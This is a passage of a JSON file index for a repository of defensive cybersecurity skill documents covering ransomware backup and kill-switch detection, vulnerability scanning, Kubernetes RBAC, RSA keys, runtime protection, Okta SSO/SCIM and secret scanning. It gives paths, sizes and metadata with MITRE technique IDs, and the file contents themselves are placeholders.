/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1522,"sizeBytes":6613},{"name":"standards.md","path":"skills/implementing-ransomware-backup-strategy/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ransomware-backup-strategy/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":610,"sizeBytes":2516},{"name":"workflows.md","path":"skills/implementing-ransomware-backup-strategy/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ransomware-backup-strategy/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":967,"sizeBytes":3741},{"name":"SKILL.md","path":"skills/implementing-ransomware-backup-strategy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ransomware-backup-strategy/SKILL.md","title":"implementing-ransomware-backup-strategy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2FSKILL.md -->","frontmatter":{"name":"implementing-ransomware-backup-strategy","description":"Designs a ransomware-resilient backup strategy using the 3-2-1-1-0 methodology (3 copies, 2 media types, 1 offsite, 1 immutable/air-gapped, 0 restore errors), configuring RPO/RTO-aligned schedules, isolating backup credentials, and automating restore testing. Use when planning ransomware backup resilience or air-gapped/immutable backup architecture.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","backup","incident-response","defense","recovery","immutable-storage"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4","MANAGE-3.1","MEASURE-3.1"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization"],"techniques":[{"id":"T1531","name":"Account Access Removal","tactic":"positioning","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":3043,"sizeBytes":12474},{"name":"api-reference.md","path":"skills/implementing-ransomware-kill-switch-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ransomware-kill-switch-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-kill-switch-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":997,"sizeBytes":3760},{"name":"SKILL.md","path":"skills/implementing-ransomware-kill-switch-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ransomware-kill-switch-detection/SKILL.md","title":"implementing-ransomware-kill-switch-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-kill-switch-detection%2FSKILL.md -->","frontmatter":{"name":"implementing-ransomware-kill-switch-detection","description":"Analyzes ransomware kill switch mechanisms, including mutex-based execution guards, domain-based kill switches (e.g. WannaCry-style), and registry termination checks, then implements mutex vaccination and kill switch domain monitoring to stop ransomware before it runs. Use when analyzing a sample's execution guards or deploying vaccination/monitoring as a defensive control.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","kill-switch","mutex","detection","WannaCry","malware-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1486","T1490"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization"],"techniques":[{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1017","name":"Conversion to Physical Monetary Instruments","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":2264,"sizeBytes":9726},{"name":"template.md","path":"skills/implementing-rapid7-insightvm-for-scanning/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rapid7-insightvm-for-scanning/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":443,"sizeBytes":1456},{"name":"api-reference.md","path":"skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1363,"sizeBytes":4697},{"name":"standards.md","path":"skills/implementing-rapid7-insightvm-for-scanning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rapid7-insightvm-for-scanning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":392,"sizeBytes":1566},{"name":"workflows.md","path":"skills/implementing-rapid7-insightvm-for-scanning/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rapid7-insightvm-for-scanning/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":937,"sizeBytes":5850},{"name":"SKILL.md","path":"skills/implementing-rapid7-insightvm-for-scanning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rapid7-insightvm-for-scanning/SKILL.md","title":"implementing-rapid7-insightvm-for-scanning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2FSKILL.md -->","frontmatter":{"name":"implementing-rapid7-insightvm-for-scanning","description":"Deploy and configure Rapid7 InsightVM Security Console and Scan Engines, including scan templates, credentialed scanning, and Insight Agent integration, for authenticated and unauthenticated vulnerability scanning across enterprise environments. Use when standing up InsightVM infrastructure, configuring credentialed vulnerability scans, or integrating continuous asset assessment via the Insight Agent.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["rapid7","insightvm","vulnerability-scanning","nexpose","scan-engine","asset-discovery","authenticated-scanning"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2746,"sizeBytes":12300},{"name":"template.md","path":"skills/implementing-rbac-hardening-for-kubernetes/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rbac-hardening-for-kubernetes/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":174,"sizeBytes":741},{"name":"api-reference.md","path":"skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1334,"sizeBytes":6262},{"name":"standards.md","path":"skills/implementing-rbac-hardening-for-kubernetes/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rbac-hardening-for-kubernetes/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":212,"sizeBytes":766},{"name":"workflows.md","path":"skills/implementing-rbac-hardening-for-kubernetes/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rbac-hardening-for-kubernetes/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":155,"sizeBytes":708},{"name":"SKILL.md","path":"skills/implementing-rbac-hardening-for-kubernetes/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rbac-hardening-for-kubernetes/SKILL.md","title":"implementing-rbac-hardening-for-kubernetes","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2FSKILL.md -->","frontmatter":{"name":"implementing-rbac-hardening-for-kubernetes","description":"Hardens Kubernetes RBAC by designing least-privilege Roles and ClusterRoles, auditing RoleBindings, eliminating cluster-admin sprawl, separating service accounts, and integrating an external OIDC identity provider. Use when tightening cluster access control, removing excessive ClusterRoleBindings, or hardening service-account permissions against escalation and lateral movement. Keywords: RBAC, Role, ClusterRole, RoleBinding, least privilege, service account, OIDC, cluster-admin. Do not use for discovering existing escalation paths - use auditing-kubernetes-rbac-privilege-escalation.","domain":"cybersecurity","subdomain":"container-security","tags":["kubernetes","rbac","access-control","least-privilege","security-hardening","iam","oidc","service-accounts"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2045,"sizeBytes":7988},{"name":"template.md","path":"skills/implementing-rsa-key-pair-management/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rsa-key-pair-management/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":437,"sizeBytes":1598},{"name":"api-reference.md","path":"skills/implementing-rsa-key-pair-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rsa-key-pair-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1369,"sizeBytes":5875},{"name":"standards.md","path":"skills/implementing-rsa-key-pair-management/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rsa-key-pair-management/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":500,"sizeBytes":1864},{"name":"workflows.md","path":"skills/implementing-rsa-key-pair-management/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rsa-key-pair-management/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":427,"sizeBytes":1543},{"name":"SKILL.md","path":"skills/implementing-rsa-key-pair-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-rsa-key-pair-management/SKILL.md","title":"implementing-rsa-key-pair-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2FSKILL.md -->","frontmatter":{"name":"implementing-rsa-key-pair-management","description":"Generates, stores, rotates, and manages RSA key pairs following NIST SP 800-57 guidelines, covering serialization formats (PEM, DER, PKCS#8), passphrase protection, and key strength validation. Use when creating or rotating RSA keys for signatures, key exchange, or encryption, or when auditing existing keys for proper storage and NIST-compliant strength.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","rsa","key-management","pki","asymmetric-encryption"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553","T1486"]},"isInternal":false,"tokens":872,"sizeBytes":3678},{"name":"api-reference.md","path":"skills/implementing-runtime-application-self-protection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-runtime-application-self-protection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-application-self-protection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":730,"sizeBytes":2614},{"name":"SKILL.md","path":"skills/implementing-runtime-application-self-protection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-runtime-application-self-protection/SKILL.md","title":"implementing-runtime-application-self-protection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-application-self-protection%2FSKILL.md -->","frontmatter":{"name":"implementing-runtime-application-self-protection","description":"Deploy Runtime Application Self-Protection (RASP) agents to detect and block attacks from within application runtime, covering OpenRASP integration, attack pattern detection, and security policy configuration for Java and Python web applications.","domain":"cybersecurity","subdomain":"application-security","tags":["rasp","application-security","openrasp","runtime-protection","sqli","xss","rce","devsecops"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1"],"nist_csf":["PR.PS-01","PR.PS-04","ID.RA-01","PR.DS-10"],"mitre_attack":["T1078","T1190","T1059","T1059.007"]},"isInternal":false,"tokens":648,"sizeBytes":3014},{"name":"template.md","path":"skills/implementing-runtime-security-with-tetragon/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-runtime-security-with-tetragon/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":674,"sizeBytes":2534},{"name":"api-reference.md","path":"skills/implementing-runtime-security-with-tetragon/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-runtime-security-with-tetragon/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":256,"sizeBytes":957},{"name":"standards.md","path":"skills/implementing-runtime-security-with-tetragon/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-runtime-security-with-tetragon/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":446,"sizeBytes":2066},{"name":"workflows.md","path":"skills/implementing-runtime-security-with-tetragon/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-runtime-security-with-tetragon/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":615,"sizeBytes":2758},{"name":"SKILL.md","path":"skills/implementing-runtime-security-with-tetragon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-runtime-security-with-tetragon/SKILL.md","title":"implementing-runtime-security-with-tetragon","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2FSKILL.md -->","frontmatter":{"name":"implementing-runtime-security-with-tetragon","description":"Implements eBPF-based runtime observability and in-kernel enforcement in Kubernetes with Cilium Tetragon, monitoring process execution, file access, network connections, and syscalls, and blocking dangerous calls at the kernel level. Use when deploying Tetragon to detect or block syscalls such as ptrace, mount, and unshare, enforcing kernel-level policy, or adding low-overhead runtime detection to a cluster. Keywords: Tetragon, Cilium, eBPF, TracingPolicy, kprobe, enforcement, process lineage. Do not use for Falco-based detection - use detecting-container-runtime-threats-with-falco.","domain":"cybersecurity","subdomain":"container-security","tags":["tetragon","ebpf","runtime-security","kubernetes","cilium","container-security","observability","kernel-security","cncf"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2097,"sizeBytes":8485},{"name":"template.md","path":"skills/implementing-saml-sso-with-okta/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-saml-sso-with-okta/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1004,"sizeBytes":4229},{"name":"api-reference.md","path":"skills/implementing-saml-sso-with-okta/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-saml-sso-with-okta/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":453,"sizeBytes":1663},{"name":"standards.md","path":"skills/implementing-saml-sso-with-okta/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-saml-sso-with-okta/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":600,"sizeBytes":2170},{"name":"workflows.md","path":"skills/implementing-saml-sso-with-okta/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-saml-sso-with-okta/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":840,"sizeBytes":3516},{"name":"SKILL.md","path":"skills/implementing-saml-sso-with-okta/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-saml-sso-with-okta/SKILL.md","title":"implementing-saml-sso-with-okta","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2FSKILL.md -->","frontmatter":{"name":"implementing-saml-sso-with-okta","description":"Implement SAML 2.0 Single Sign-On using Okta as the Identity Provider, covering SP-initiated and IdP-initiated flows, attribute mapping, certificate management, SHA-256 signature enforcement, and Single Logout. Use when configuring Okta SAML SSO for an application, hardening SAML certificate rotation and signing, or testing and troubleshooting SAML assertion flows with a tracer tool.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","authentication","saml","sso","okta"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1553"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","resource-development"],"techniques":[{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"},{"id":"F1006.003","name":"Account Takeover: Password Reset","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1575,"sizeBytes":6800},{"name":"template.md","path":"skills/implementing-scim-provisioning-with-okta/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-scim-provisioning-with-okta/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":621,"sizeBytes":2541},{"name":"api-reference.md","path":"skills/implementing-scim-provisioning-with-okta/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-scim-provisioning-with-okta/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1370,"sizeBytes":4722},{"name":"standards.md","path":"skills/implementing-scim-provisioning-with-okta/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-scim-provisioning-with-okta/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":556,"sizeBytes":2315},{"name":"workflows.md","path":"skills/implementing-scim-provisioning-with-okta/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-scim-provisioning-with-okta/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":678,"sizeBytes":2903},{"name":"SKILL.md","path":"skills/implementing-scim-provisioning-with-okta/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-scim-provisioning-with-okta/SKILL.md","title":"implementing-scim-provisioning-with-okta","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2FSKILL.md -->","frontmatter":{"name":"implementing-scim-provisioning-with-okta","description":"Implement automated user lifecycle provisioning and deprovisioning using the SCIM 2.0 protocol with Okta as the identity provider. Use when automating account creation, attribute sync, or deactivation across downstream applications through Okta SCIM integration, or when troubleshooting SCIM provisioning failures.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["scim","okta","provisioning","identity-management","automation","sso","lifecycle-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","resource-development"],"techniques":[{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"F1005.004","name":"Account Manipulation: Change Account Details","tactic":"positioning","source":"f3"},{"id":"F1042","name":"Reactivate Account","tactic":"positioning","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":2301,"sizeBytes":9222},{"name":"template.md","path":"skills/implementing-secret-scanning-with-gitleaks/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secret-scanning-with-gitleaks/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1353,"sizeBytes":4781},{"name":"api-reference.md","path":"skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1322,"sizeBytes":4621},{"name":"standards.md","path":"skills/implementing-secret-scanning-with-gitleaks/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secret-scanning-with-gitleaks/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":483,"sizeBytes":2298},{"name":"workflows.md","path":"skills/implementing-secret-scanning-with-gitleaks/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secret-scanning-with-gitleaks/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fworkflows.md 